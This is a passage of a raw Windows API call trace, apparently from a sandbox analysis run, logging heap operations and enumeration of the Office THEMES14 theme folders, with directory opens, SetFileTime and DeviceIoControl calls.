dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f5648, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f5648, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0054.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5648) returned 1 [0054.862] NtClose (Handle=0x160) returned 0x0 [0054.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0054.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0054.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3b88 [0054.862] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0054.862] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.862] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0054.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3c90 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eae10 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3d98 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eae30 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3ea0 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eae50 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3fa8 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eae70 [0054.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f40b0 [0054.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.864] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.864] GetLastError () returned 0x12 [0054.864] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0054.864] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.864] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.864] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0054.864] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0054.864] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.864] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.864] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.864] GetLastError () returned 0x12 [0054.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3b88) returned 1 [0054.864] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3c90) returned 1 [0054.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0054.864] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0054.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.864] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0056.069] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0056.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f5648 [0056.069] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f5648, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f5648, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0056.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f5648) returned 1 [0056.069] NtClose (Handle=0x16c) returned 0x0 [0056.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0056.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0056.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3c90 [0056.069] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0056.069] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.069] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0056.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.069] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.069] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3b88 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eae90 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f41b8 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaeb0 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f42c0 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaed0 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f43c8 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.070] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.070] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.070] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0056.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eaef0 [0056.071] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f44d0 [0056.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0056.071] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.071] GetLastError () returned 0x12 [0056.071] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0056.071] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0056.071] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.071] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0056.071] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0056.071] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0056.071] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0056.071] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0056.071] GetLastError () returned 0x12 [0056.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3c90) returned 1 [0056.071] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0056.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3b88) returned 1 [0056.071] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0056.071] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, 